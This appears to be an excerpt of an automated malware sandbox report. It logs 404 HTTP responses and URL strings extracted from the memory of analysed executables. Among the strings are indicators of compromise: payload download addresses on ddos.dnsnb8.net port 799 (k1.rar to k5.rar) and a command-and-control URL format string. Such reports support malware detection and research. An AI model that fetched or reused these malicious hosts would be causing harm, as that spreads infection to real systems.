3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2f 5f 24 17 ad 68 44 aa a9 14 bd cf b3 f9 6d 83 27 db b6 26 42 10 Data Ascii: #\/_$hDm'&B
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 7f 55 e7 39 04 fc ea 48 e6 8e ac a9 2d 99 61 c2 e8 6e 59 1a 82 9e 8a c0 70 9b 37 18 12 98 07 99 16 76 5a 57 ec d5 7f e5 7c Data Ascii: #\6U9H-anYp7vZW|
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:42 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 0d 7f 48 e6 3d 09 f2 e8 42 f1 91 ed a1 31 da 2d da f5 6c 49 10 98 9f 9f dd 2a d1 26 10 Data Ascii: #\6H=B1-lI*&
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:56:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:57:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:58:13 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:58:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:58:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 24 Jul 2024 17:58:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: IXDaI.exe, 00000005.00000002.1465941365.0000000000BA3000.00000002.00000001.01000000.00000004.sdmp, IXDaI.exe, 00000005.00000003.1268611401.0000000001120000.00000004.00001000.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000003.1624080996.0000000001290000.00000004.00001000.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1679993688.0000000000EE3000.00000002.00000001.01000000.00000004.sdmp String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: B552.exe, 0000001B.00000000.2227779245.00007FF75F304000.00000008.00000001.01000000.0000000B.sdmp, B552.exe, 0000001B.00000002.2363529476.00007FF75F313000.00000008.00000001.01000000.0000000B.sdmp, B552.exe.14.dr String found in binary or memory: http://.css
Source: B552.exe, 0000001B.00000000.2227779245.00007FF75F304000.00000008.00000001.01000000.0000000B.sdmp, B552.exe, 0000001B.00000002.2363529476.00007FF75F313000.00000008.00000001.01000000.0000000B.sdmp, B552.exe.14.dr String found in binary or memory: http://.jpg
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: explorer.exe, 0000000E.00000000.1447298084.000000000955E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: 753F.exe.14.dr String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: 753F.exe.14.dr String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: explorer.exe, 0000000E.00000000.1447298084.000000000955E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: explorer.exe, 0000000E.00000000.1447298084.0000000009519000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.000000000955E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 753F.exe.14.dr String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: 753F.exe.14.dr String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: 753F.exe.14.dr String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: 753F.exe.14.dr String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: vm.exe, 00000025.00000002.3739679273.0000000000575000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: vm.exe, 00000025.00000002.3755459555.0000000005590000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: vm.exe, 00000025.00000003.3158868527.00000000055EC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?987c63ebbb8ce
Source: IXDaI.exe, 00000005.00000003.1330174994.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000005.00000003.1337998846.000000000118B000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000005.00000002.1466246003.0000000001168000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.00000000012F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: IXDaI.exe, 00000005.00000003.1330174994.00000000011C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarP
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarY
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar6
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarB
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar#
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarO
Source: IXDaI.exe, 00000011.00000002.1680424006.000000000137E000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar5
Source: IXDaI.exe, 00000011.00000002.1680424006.000000000137E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarC:
Source: B552.exe, 0000001B.00000000.2227779245.00007FF75F304000.00000008.00000001.01000000.0000000B.sdmp, B552.exe, 0000001B.00000002.2363529476.00007FF75F313000.00000008.00000001.01000000.0000000B.sdmp, B552.exe.14.dr String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000020.00000002.2668792904.0000020A779CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 0000000E.00000000.1447298084.000000000955E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 0000000E.00000000.1444506660.000000000305D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 753F.exe.14.dr String found in binary or memory: http://ocsps.ssl.com0
Source: 753F.exe.14.dr String found in binary or memory: http://ocsps.ssl.com0?
Source: 753F.exe.14.dr String found in binary or memory: http://ocsps.ssl.com0_
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67B87000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 753F.exe, 0000001C.00000002.2708165528.000001C080410000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://rentry.co
Source: explorer.exe, 0000000E.00000000.1444301138.0000000002C00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1446452497.0000000007AF0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1446467091.0000000007B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.micro
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67D90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 753F.exe, 0000001C.00000002.2708165528.000001C080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A67961000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002D49000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67D90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000020.00000002.2624078104.0000020A690FF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://store4.gofile.io
Source: SciTE.exe.5.dr String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.activestate.comHolger
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67B87000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: SciTE.exe.5.dr String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.baanboard.comBrendon
Source: SciTE.exe.5.dr String found in binary or memory: http://www.develop.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.develop.comDeepak
Source: SciTE.exe.5.dr String found in binary or memory: http://www.lua.org
Source: F6D9.exe String found in binary or memory: http://www.oberhumer.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.5.dr String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.5.dr String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.5.dr String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.5.dr String found in binary or memory: http://www.spaceblue.comMathias
Source: 753F.exe.14.dr String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: 753F.exe.14.dr String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 0000001F.00000003.2406241801.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2689264498.0000000003165000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 0000001F.00000003.2369274827.0000000005476000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000003.2368524961.0000000005479000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000003.2370710751.0000000005476000.00000004.00000800.00020000.00000000.sdmp, lm.exe, 00000026.00000003.2643416050.000000000316E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 0000000E.00000000.1449509463.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppin
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67961000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000020.00000002.2624078104.0000020A67D90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A68B86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000020.00000002.2624078104.0000020A68DB7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: explorer.exe, 0000000E.00000000.1449509463.000000000D1B6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000E.00000000.1447298084.00000000093B4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/$
Source: explorer.exe, 0000000E.00000000.1447298084.00000000093B4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/X
Source: explorer.exe, 0000000E.00000000.1443804807.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1444506660.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000E.00000000.1447298084.00000000093B4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000E.00000000.1445489824.0000000006F94000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=C2BB6DDCE8D847D6B779FE8AEC27D161&timeOut=5000&oc
